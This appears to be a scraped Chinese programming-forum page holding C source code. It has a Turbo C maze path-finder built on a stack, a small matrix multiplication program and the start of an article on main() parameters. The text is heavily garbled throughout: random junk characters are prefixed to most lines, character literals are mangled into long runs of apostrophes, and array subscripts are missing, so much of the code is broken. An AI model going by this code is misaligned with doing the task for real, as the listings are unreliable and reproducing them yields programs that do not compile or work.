C语言技术文章

韩冰

<DIV  align=left>
< align=left>程序目的：
. ?& m$ N3 s5 Q7 l7 m8 d3 I3 ?, F输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
7 P9 r. m* p( r0 A- H入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
$ U1 h* N, j' @+ L否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
, u8 M) l' X9 f! m; P: l! V6 I2 {! s用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
4 V' p* ]9 S! E* {5 j2 c将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
: p! a& Q- T# J0 F  v* d* B: d+ |用户名：migong
----------------------------------------------------------------------------------
/*
* z# }8 W6 z/ s. r. ^MazePath Demo BY Turbo C 2.0
( h; O5 ?5 m6 I3 R9 \0 b8 eCopyright(c) RoverUnion. All right reserved.
Filename: Maze.c
Author Dongchengyu.
Ver 1.10
*/
' Q) ]8 F# @7 {7 N3 F6 J#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
( A9 O7 m' n% e# Q5 i/ \- U#include &lt;malloc.h&gt;
4 G* k# U! v4 ]0 I) ]+ h#include &lt;conio.h&gt;
#include &lt;dos.h&gt;
9 G3 E8 A6 o8 `4 D8 ~4 V# {#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
9 I4 a+ s& Z5 v' q/ I#define F9 0x43
, z4 F3 b0 o& o1 _' x#define Esc 0x1b
9 `2 R0 \, Y( p' N#define Del 0x53
#define Home 0x47
: q% Y4 x7 I' _#define End 0x4f
$ V5 D8 [3 l; o4 y/ \  t$ ?#define Space 0x20
#define Up 0x48
$ c8 t. f9 e: i  J3 d% N6 v+ _#define Down 0x50
8 q- t) t* z9 _; Q1 M  C% h#define Left 0x4b
#define Right 0x4d
1 v; W. I1 W/ O0 d#define Enter 0x0d
#define F2 0x3c
3 I( k8 g- }: U! u' k/ t; f#define F3 0x3d
#define STACK_INIT_SIZE 200
* Y, {! R4 [. f$ B2 z' d3 E- Z#define STACKINCREMENT 10
typedef int Boolean;
3 f& m; w3 S. C& o' _0 w0 E! |typedef int Status;
typedef struct {
int x;
  L9 j& z' t+ z& Y3 dint y;
, ^% T( n  J% P9 o( ]' t} PosType;
typedef struct {
int ord;
PosType seat;
int di;
2 N' k# A: ^2 i0 @9 z0 R} SElemType;
typedef struct {
: a5 X( |! Z4 t6 @  Nint td;
- z& d1 B$ \+ W& [4 _9 vint foot;
int mark;
# b) ]) _( x$ d0 v: s9 p/ {9 I8 U} MazeType;
typedef struct {
SElemType *base;
0 n4 C6 R% E, |0 b( E: e( M; L$ nSElemType *top;
& i# ?: [0 E& _' o1 Z* s6 i, {- {int stacksize;
} Stack;
int Maze[20][30];
MazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
5 j9 G1 f9 ]3 v; q: E: kint count;
. |$ C! p* T- w3 z2 W4 Qint m,n;
' B, `4 ?: z/ S: VBoolean b_start=FALSE,b_end=FALSE;
, I/ E' X6 I+ `2 ~void CreatMaze(void);
Status SaveMaze(char *filename);
& Q; B5 g& Z7 t' ^! sStatus LoadMaze(char *filename);
, c9 n- X2 V. L+ w- ~void Error(char *message);
Status InitStack(Stack *s);
7 m% Y! n% _8 Q1 h  O3 X7 M' I/ cStatus DestroyStack(Stack *s);
: f8 `2 I9 B3 u5 I" {Status ClearStack(Stack *s);
) }+ {0 `3 c1 J/ g# G9 WBoolean StackEmpty(Stack *s);
; N! Y$ E* E8 o0 u! N* K) u/ K7 qint StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
1 j) w$ a+ f6 c/ ySElemType Pop(Stack *s,SElemType e);
6 G$ u5 v' ]0 o+ f1 @. l; H8 r+ MStatus GetTop(Stack *s,SElemType *e);
" L. Z; n$ b$ ~8 F; K4 `) \# V, UStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
) A  v* }# j" v" ?6 l( lBoolean Pass(PosType curpos);
void MarkPrint(PosType seat);
+ S5 e4 `1 r, I7 uvoid FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
. }6 b/ O% M1 e2 B) R, A- bvoid CreatMaze(void)
/* Form the maze. */
" |6 }' U% k" O& T; h$ J0 }{
void Error(char *message);
# p% _# ^* L! F1 Q3 x) tStatus SaveMaze(char *filename);
Status LoadMaze(char *filename);
int i,j;
2 m8 x1 {% L1 `2 Sint x,y;
: c) |; F: {7 U, Uchar c;
, n; z5 v* S5 f4 lchar savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
clrscr();
3 c# o$ h5 z. l  ?printf("Menu:\n\n");
printf("1.Load Mazefile*.dd)\n\n");
% Z" K& h+ b  E$ i0 i) Eprintf("2.Input Maze:\n\n");
8 H: a9 S; e9 s3 y* w- `printf("Input your choice: ");
do
7 u  e! K. i( p: @! ?( x! G{
c=getch();
switch(c)
1 v) w' m) a6 B6 u( Q0 ~8 t{
! j# _; t3 r; }& Z4 qcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
* K& ^, m, i& E: E! Y7 U  Jcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
1 A1 Q2 Z5 v2 @! ]8 zcase Esc: sleep(1); exit(1);
default: break;
- K# L6 \& w' d8 |" A) L$ l: O+ s}
}
' F" [7 ?( B, j4 vwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
$ T% l- j1 N0 ]$ \, v7 B{
# C  Y5 N" Y0 t# X* |. r/ N5 o* K: L$ Jprintf("\n\nLoadName: ");
scanf("%s",loadname);
/ E9 G' n8 ]4 l+ R! D& T' wif(LoadMaze(loadname))
8 Y) a- c( ^7 v5 r{
% _1 N6 r) N$ ?5 Z7 W, ~( ~sleep(1); load=TRUE;
* H( y3 v/ L) W2 B7 f}
6 S7 k' Y1 X4 e# v% O8 z* k* s: O5 ~else { gotoxy(1,9); printf("Load fail! "); }
}
if(!load)
- \2 p6 @  d: d{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
' U  j& x* q  zprintf("\nInput Length :\n");
5 ^$ i) o; c  n" escanf("%d",&amp;m);
: U4 {8 O! Q: F- k0 Yprintf("\nInput Width :\n");
6 J( w0 N$ q6 Q$ t) }4 f& @" ^8 T8 Vscanf("%d",&amp;n);
if(m&lt;4||n&lt;4) Error("Input");
# c. b/ ~. U' x& pif(m&gt;30||n&gt;20) Error("Maze too large");
! J. H) v1 z: s8 }8 ifor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
Maze[j]=2;
StartPlace.x=0;
StartPlace.y=0;
EndPlace.x=0;
& M6 }  e  P( l( U: z. ]( REndPlace.y=0;
) {+ m. o$ N% R8 B& {6 yclrscr();
, z8 j  y5 [  Q% Cprintf("\n");
for(i=1;i&lt;=n;i++)
{
for(j=1;j&lt;=m;j++)
{
6 z/ I. ^" ^. z/ W4 d. Pprintf(" #");
Maze[i-1][j-1]=0;
6 u9 \3 B$ h+ r0 K  F% u}
, q1 o. Z6 ?9 F+ U% t$ I: I7 lprintf("\n");
$ h( S+ ^/ _! Z4 i" J}
}
* z7 Z+ B/ C; t. W7 B, Sgotoxy(65,5);
' _" K6 I1 K- o( yprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
gotoxy(65,7);
" X  C1 y2 K2 ?printf("Start:Home");
gotoxy(65,9);
printf("End:End");
3 }( y" Q2 V" g- Dgotoxy(65,11);
/ C1 k1 D2 B# C+ ?' q( N/ P% w( D1 zprintf("Delete Wallel");
7 Q* y6 z" a% Y. {$ B4 ?, B  jgotoxy(65,13);
5 c4 ^7 c7 o- Y3 n3 D! e6 uprintf("Enter Wall:Enter");
* i- K2 V3 a5 O' ?gotoxy(65,15);
9 [! v) k- ^. Z: @  aprintf("Save Maze:F2");
gotoxy(65,17);
; K0 H/ D7 |9 C" Oprintf("Complete:F9");
: L) ]1 N0 ^! z+ n4 P5 q% sgotoxy(65,19);
printf("Exit:Esc");
gotoxy(4,3);
7 y$ y1 k- t& g: g0 A! kx=4;y=3;
: a2 }/ O$ M5 ~' }  f1 V' Rdo
{
- d! W! _, \" X- Z! J7 z. v/ Xc=getch();
switch(c)
* g& q4 T% g( w4 Q  n{
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
- b- Q2 {/ X& Sbreak;
; f7 Z4 W7 T$ i! c# ^case Down: if(y&lt;n) { y++; gotoxy(x,y); }
break;
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
6 ^3 L3 M9 u6 P8 |8 abreak;
% P) m3 S) C* C# q- wcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
$ i$ ?& I9 F& C4 Rbreak;
. O" t  D3 \. ~( ]8 A1 ]5 Ncase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
9 R' {$ Z# ^+ s. `if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
) K9 [( h6 ^5 b! bbreak;
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
- w9 Y" i/ j8 F- eputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
" ~( H1 K' d$ G& _8 _7 }6 r8 i! pbreak;
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
% j3 R6 |0 G1 Z: E2 s2 S% C: z* a8 b0 \StartPlace.x=x/2-1;
StartPlace.y=y-2;
9 \. Q" s9 h/ zputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(x,y);
b_start=TRUE;
1 h( z3 S" X5 a4 x9 G}
break;
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
7 i+ b% D- j) l2 |# y' G{
( f( |0 @. F5 r- FEndPlace.x=x/2-1;
2 G" b2 Z; w: |7 k  R2 xEndPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
gotoxy(x,y);
' F1 q9 `7 M% @b_end=TRUE;
}
break;
" E* c5 v9 E3 [* Dcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
case F2: gotoxy(2,22);
; k5 ?7 @9 m; e! B1 m4 \1 Y4 Jprintf("Savename:");
3 h" P( f% `1 T0 z9 k# j9 Jscanf("%s",savename);
gotoxy(2,22);
# `& i5 |) ?5 x$ V( I% Wif(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
sleep(1);
gotoxy(2,22);
- `1 m! C2 i" w7 X2 u* c8 pprintf(" ");
5 M( T9 o& m" y. ggotoxy(x,y);
break;
default: break;
+ l9 W. r, S; E/ _- _# }, k}
}
  u" M" t( S2 [6 @while(!flag);
( F& u: w! o: Q! H7 N$ s; Hfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
5 X/ M/ l9 H3 z5 @) B* \{
maze[j].td=Maze[j];
+ }$ }6 ~# G# G0 V9 _$ e" |maze[j].mark=0;
maze[j].foot=0;
  Z3 I  {9 \" N1 Z}
) W* A# ^  x* P+ z* z* K}
Status LoadMaze(char *file)
4 A( N$ k8 V0 [; s3 i/* The maze has been loaded. */
{
1 n; L, U# [$ J4 k* h$ EFILE *fp;
" ^# y+ v  S; G, P: l5 J3 Qchar *buffer;
8 @+ P2 L0 i. Y7 S. bchar ch;
! x# D  k- D- H& A; z1 S  \+ u9 ^. @( |int i=0,j,k;
Boolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
" B. E- D1 N- o, ?9 treturn ERROR;
# h& V  }6 Y( xbuffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
while(ch!=EOF)
6 O9 G! a! a0 e" k, r{
buffer=ch;
$ E  r# n' O0 `7 [) M  Li++;
ch=fgetc(fp);
}
m=30;n=20;
for(i=0;i&lt;600;i++)
7 v* d- W  |0 D3 s6 L% P3 B9 P- x{
j=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
# f9 Z" S8 z& t% k  I5 e* hif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
switch(buffer)
{
2 |  f, t: A/ [# y; n, e6 b. Xcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
  W  E- x& M6 o) d: P9 Scase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
0 W: v' {8 R$ v( xcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
! o) w2 ^; ~3 w) m" f7 Jcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
StartPlace.x=k;
StartPlace.y=j;
b_start=TRUE;
+ q) Q- ?5 w7 d5 B+ Ebreak;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
1 w, k8 H$ z, e- G8 ~; }. v7 qEndPlace.x=k;
EndPlace.y=j;
( k% j) Q1 m: ]b_end=TRUE;
7 }( J4 }! ]! Q9 tbreak;
default : break;
}
! r% `2 j) v1 M: d; S/ Z+ B/ J}
fclose(fp);
5 \$ U3 O4 w7 b1 C3 X. _% E+ eclrscr();
for(i=0;i&lt;30;i++)
6 R$ t2 A" V; S( W7 Wfor(j=0;j&lt;20;j++)
{
* x3 y$ q3 M) y5 {3 ]7 X( I+ }maze[j].td=Maze[j];
; }0 C) q' O/ \0 @0 A$ o! B/ Hmaze[j].foot=0;
1 L3 N  t3 r" a3 O& \maze[j].mark=0;
) Q( \; N% [% E& N# f. Uif(Maze[j]==0)
. f- K! B1 U; h/ H{
; R5 \9 b1 ?! {, A! ~9 x8 P* }gotoxy(2*i+2,j+2);
0 j3 E$ }0 g+ S) K1 ]putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
}
3 v# r, W7 y5 S1 A}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
. ?' ]" Y* l1 x# a3 lputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
; T4 G" y# B' }4 [gotoxy(2*EndPlace.x+2,EndPlace.y+2);
. R# u; q+ {  q# _! K2 N8 ?putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
return OK;
: C+ o) L4 E' X. j0 s2 R}
: M* O* X& \+ s, K1 b' D6 SStatus SaveMaze(char *filename)
/* The maze has been saved. */
0 `3 u) {+ S! c{
% ^* P0 C) [3 hFILE *fp;
7 t" K* h7 Q' P. ?0 \char *buffer;
9 L3 d. d; y  K9 b5 lint i,j,k;
fp=fopen(filename,"wb");
# l- f* [' n' c/ f* O% X0 Dbuffer=(char *)malloc(600*sizeof(char));
+ }( d/ v3 C9 g/ I8 _6 wfor(i=0;i&lt;600;i++)
{
8 i+ @7 B6 z% Jj=i/30; k=i%30;
& c* H7 d; V" ?$ S0 {0 {: Q; q: dswitch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
+ t& Y/ X& |9 C, Y1 Acase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
; v: D9 _- @! u! _9 W  fdefault : Error("Write"); break;
}
2 U: F! e4 L( {" F, p* bif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
9 k. g) V) i/ p/ fif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
% u: @9 H8 u, ]fwrite(buffer,600,1,fp);
free(buffer);
% f% w0 _1 M4 i7 efclose(fp);
/ Z9 p* d: E: W8 O. n) N5 O7 areturn OK;
4 G, }; l5 c* P* n$ k0 j}
. b: x' v9 X; t% `1 _1 `void Error(char *message)
{
! @# K1 I( \! ^9 c, eclrscr();
8 D/ |0 k" [% U% N6 k. f2 zfprintf(stderr,"Error:%s\n",message);
; m: C( J1 Q2 A" [$ X6 \/ [exit(1);
} /* Error */

. e; c- a8 t2 e; @# KStatus InitStack(Stack *s)
4 q+ Z1 i2 Z* C4 G. `/ |. w' c/* The stack s has been created and is initialized to be empty. */
{
- U$ N& D0 B- As-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
- W- G# |1 b5 A2 B- x. u) Rif(!s-&gt;base) Error("Overflow");
9 L9 l' G/ l/ _  a0 k" ys-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
0 L1 ]9 l5 \3 z: G, B% y0 b5 I2 mreturn OK;
9 f" V, X, A  {1 m} /* InitStack */
/ ^# i; }) |0 @' E/ aStatus DestroyStack(Stack *s)
/* The stack s has been destroyed. */
2 ~' U$ W, t$ ]# q{
s-&gt;top=NULL;
s-&gt;stacksize=0;
; j  \5 L! K" Nfree(s-&gt;base);
s-&gt;base=NULL;
return OK;
% O4 f, V' g6 E9 [# I) S3 W2 W} /* DestroyStack */
Status ClearStack(Stack *s)
/* The stack has been clear to be maximum. */
2 |2 _. N/ X: V: H: N{
5 H+ j+ d8 R3 R, I& g# ^3 Ks-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
return OK;
. Q0 {1 {$ @1 R: e  {} /* ClearStack */
Boolean StackEmpty(Stack *s)
/* Check if the stack s is empty. */
" R7 C, y) U. |" t! i' U{
if(s-&gt;top==s-&gt;base) return TRUE;
; d; a- f5 D) l. _; Lelse return FALSE;
0 e' s' F7 d: M/ U" x2 ^} /* StackEmpty */
int StackLength(Stack *s)
/* Gain the length of the stack s. */
  @4 u9 [* A* d( K0 r: H{
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
else return 0;
' \3 T- I/ q: ?8 d2 F0 v9 U} /* StackLength */
( A$ g/ B! O- P; d7 E3 vStatus Push(Stack *s,SElemType e)
/* The element e has been pushed into the stack s. */
{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
{
/ I, I+ M  e9 h- Y) w$ Xs-&gt;base=(SElemType *)realloc(s-&gt;base,
# z1 n5 `6 _  d1 j  Y(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
/ T2 W' ?7 |8 T, q& k, k" J! t0 [7 ?s-&gt;top=s-&gt;base+s-&gt;stacksize;
( l* i2 Y7 w2 V0 m* H/ t3 Ks-&gt;stacksize+=STACKINCREMENT;
" C7 m3 g: X0 `}
*s-&gt;top++=e;
' H- o; j  K' Q( ~return OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
; U  @+ e3 m. b. x: h! W: u; G- Y/* The element e has been removed from the stack s. */
{
4 f7 g& y) d$ c' cif(s-&gt;top==s-&gt;base) Error("op");
/ ~* M: }) D/ Y, I( X  k' e, M3 h# je=*--s-&gt;top;
return e;
} /* Pop */
Status GetTop(Stack *s,SElemType *e)
6 o0 X, T2 n- ~, h- q/* The element e has got to the top of the stack s.*/
{
if(s-&gt;top==s-&gt;base) Error("GetTop");
*e=*(s-&gt;top-1);
return OK;
} /* GetTop */
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% m% U, m3 B4 e& M% ]& _/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
) e3 U( z: E) Z' z{
SElemType p;
$ @0 }# Y( F4 c  G$ a; M2 Iint result;
if(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
4 m) R7 E# o- K3 w* J2 swhile(!(p==s-&gt;top))
. V  ?6 ?$ B8 s  C  n{
1 g+ |" C! ?0 K$ Hresult=(*visit)(p);
p++;
}
return OK;
} */
Boolean Pass(PosType curpos)
8 Y1 C7 [4 l! i; d0 E* n' C8 ?/ u: S/* Check if the current position can be passed. */
{
# B0 |7 {0 L# ^" B1 bif(maze[curpos.x][curpos.y].td==1&amp;&amp;
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
return TRUE;
$ x/ B+ y8 s- y5 ^& E( Relse return FALSE;
} /* Pass */
( j8 k( y9 ?3 T+ ?! w# svoid MarkPrint(PosType seat)
( A6 K1 ?6 Q2 A* b/ r/* Mark the position seat. */
7 [  e' G! x9 H{
maze[seat.x][seat.y].mark=-1;
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
} /* MarkPrint */
void FootPrint(PosType curpos)
! Y+ P' A* `8 L6 v3 q/ a5 G/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
6 X" d5 K* c0 q# j: j; H{
; m3 N  _% ?% T: x3 j) _) |maze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
# h4 m( V/ K! w7 kPosType NextPos(PosType seat,int di)
{
9 }! g+ s( x; x' h: ]8 U1 C+ Xswitch(di)
{
* G' ^$ S9 x8 F$ \3 Icase 1: seat.y++; return seat; /* Eastward */
! ^% P( g3 f6 s; Fcase 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
+ Q5 \, y7 J: l2 idefault: seat.x=0; seat.y=0; return seat;
}
} /* NextPos */

0 X+ ]9 Q2 y  F- A/* The key to the program. */
5 l. m5 {; k- u6 F2 `) E/* Pre: The maze array &amp; the startplace &amp; the endplace.
) E2 c* y1 O9 c5 C& T; T8 k5 aPost: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
*/
Status MazePath(PosType start,PosType end)
{
% t  C- w! h! o+ w7 OPosType curpos;
int curstep;
5 E2 l  X) p) @" G2 cSElemType e;
7 h3 J1 Z1 o% i' k5 ]Stack *s,stack;
5 _- N0 r, d! W! L9 |% Wstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
# F' ^1 y1 x$ M* z6 qif(!stack.base) Error("Overflow");
+ Z, t+ s' ^" ~& R3 f3 |stack.top=stack.base;
$ P. b  F7 W, Wstack.stacksize=STACK_INIT_SIZE;
2 D8 p) u7 z8 r  G+ }' b" T8 ]s=&amp;stack;
$ A, y' W# ]' `, T6 Icurpos=start;
curstep=1;
4 O" S( h2 {6 Z1 p3 udo
2 k; _- A$ L& M' ?{
if(Pass(curpos))
{
FootPrint(curpos);
% a' k, q7 F- x. ?7 \4 Ie.ord=curstep; e.seat=curpos; e.di=1;
0 z1 H# Q" H. R1 a1 ^( Lgotoxy((curpos.y+1)*2,curpos.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* pospone time. */
Push(s,e);
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
{
& c9 c' d6 D' W0 bDestroyStack(s);
return TRUE;
$ j/ e6 q( ?! _) f0 M1 r}
curpos=NextPos(curpos,1); /* Try next position. */
curstep++;
* A0 `8 W- H" a' t) Y$ K2 L! Q/ R}
: o$ R+ A; |- `" f$ B% V8 Nelse
. v( K, `2 P$ K6 J- u{
; o: g' O# [$ V* [if(!StackEmpty(s))
+ h2 n( b! v- B6 Q8 U+ g{
( A3 x- m1 X8 E0 m3 [e=Pop(s,e); /* Removed e from s. */
- U# b* O9 T% I) twhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
MarkPrint(e.seat);
gotoxy((e.seat.y+1)*2,e.seat.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
7 S+ G1 v6 c( V# t# V5 n' e6 wdelay(8000); /* Pospone time. */
" ]' a6 K& N+ ^  U: |4 ?gotoxy((e.seat.y+1)*2,e.seat.x+2);
, \4 E+ h$ J) \putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
: g# D: w$ g2 Ve=Pop(s,e); /* Remove e from s. */
5 d+ s  q% k- m& ^curstep--;
}
+ i+ J( N, B4 B9 c$ Qif(e.di&lt;4) /* The current position hasnot been checked. */
: c% U' w: ^% |) A$ {8 R{
e.di++;
Push(s,e); /* Insert e into s. */
curpos=NextPos(e.seat,e.di); /* Try next position. */
" ~% o9 z/ X) |}
}
}
}
while(!StackEmpty(s));
: `3 L$ s  h. d8 J' lDestroyStack(s);
2 f, e; f. [: [2 W* u9 B+ @) `return FALSE;
} /* MazePath */
void main()
" ~; M' x+ F7 |. g$ l7 o! e0 a/ V{
& V5 p7 D+ V+ i9 }1 ?. I2 j/ M' A9 c, FPosType start,end;
CreatMaze();
  q5 m+ [' G. S( Gstart.x=StartPlace.y;
start.y=StartPlace.x;
end.x=EndPlace.y;
end.y=EndPlace.x;
  T( ?. w7 Y2 K. sif(MazePath(start,end))
, M9 N* P# F/ Q* Z1 M! W2 e, d{
, W( O) S& A6 n3 ?* i  qgotoxy(2,22);
printf("ath found\n");
; z" Z. ~0 q& x1 r0 D0 F}
/ M4 I; a# z* _4 B" g! Gelse
' K8 ]2 `7 M8 m{
gotoxy(2,22);
printf("ath not found\n");
) u/ z6 Z6 B  j# M2 B}
! E1 ~& A8 ?8 G0 n, s% Sgetch();
+ A. _) O# o4 X/ aclrscr();
! Z/ E/ q/ L7 O# \* k, {$ Z: q} </P></DIV>

韩冰

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
8 ]# ^$ M& C% e/ d" y6 G( q#include&lt;stdio.h&gt;
. [% s2 C3 Y& A3 l#include&lt;conio.h&gt;
* G6 F6 @! j9 B8 k$ B#define X 3
. k# U" i$ `1 E* X; x; g' U. z#define Y 3</P><>int a[X][Y];
int b[X][Y];
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
% }9 e4 X; V& P" a- Dmain()
( ]& t5 \& m( |/ y! J- W/ `{
int i,j,temp;
3 v+ r6 e; l8 w1 N/ m, p/ }+ M6 Aclrscr();
printf("lease input int matrix b[%d][%d]\n",X,Y);
for(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
b[j]=temp;
}
0 G4 u% v1 z1 M3 J5 h/ s4 Iprintf("lease input int matrix c[%d][%d]\n",X,Y);
for(i=0;i&lt;X;i++)
1 ?2 E3 h0 S: L3 hfor(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
c[j]=temp;
9 o. I- B5 V7 |7 c}
4 E$ C; u: U# B0 u7 Tmatrix(b,c);
% Z; y% \. x8 Fprintf("Now print resource matrix b[%d][%d]=",X,Y);
2 p. r" x! N1 Z/ E+ wfor(i=0;i&lt;X;i++){
$ O& g, p6 Q* Gprintf("\n");
; G4 q( m! G/ u2 H7 Ufor(j=0;j&lt;Y;j++)
printf("%d ",b[j]);
6 K. P8 L8 ]: q}
printf("\n");
4 c( |8 |0 |3 X9 O" s3 [printf("Now print resource matrix c[%d][%d]=",X,Y);
' }6 ?& p6 O4 Q/ e0 D8 x/ l. U& N; u* a$ Lfor(i=0;i&lt;X;i++){
+ P/ @) _) g, P( G5 B8 gprintf("\n");
( _+ E! Q. G6 w; Sfor(j=0;j&lt;Y;j++)
7 ~9 a4 U% |5 [8 K- kprintf("%d ",c[j]);
4 u$ B" e, H2 L3 t8 |  H}
printf("\n");
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
% j0 R% s& t/ @; S5 rfor(i=0;i&lt;X;i++){
( v4 X' e' X5 y# s8 ~: x' kprintf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",a[j]);
}
getch();
! I! U% A+ Z+ E6 s4 i2 n# Hreturn 0;
! O" w0 B3 d1 E; B}
/********************************************************************/
void matrix(int b[][X],int c[][Y])
: U8 O/ C' Y. N/ h8 e/ l. N{
8 O1 }: \; y; w2 r" X6 ]$ K6 `* sint i,j,k,temp;
for(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
for(k=0;k&lt;Y;k++)
a[j]+=b[k]*c[k][j];
}
}</P>

韩冰

<>　　再谈main()主函数
　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
4 b$ j) `2 K$ ^9 z1 k/ N5 M& D3 k) A1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
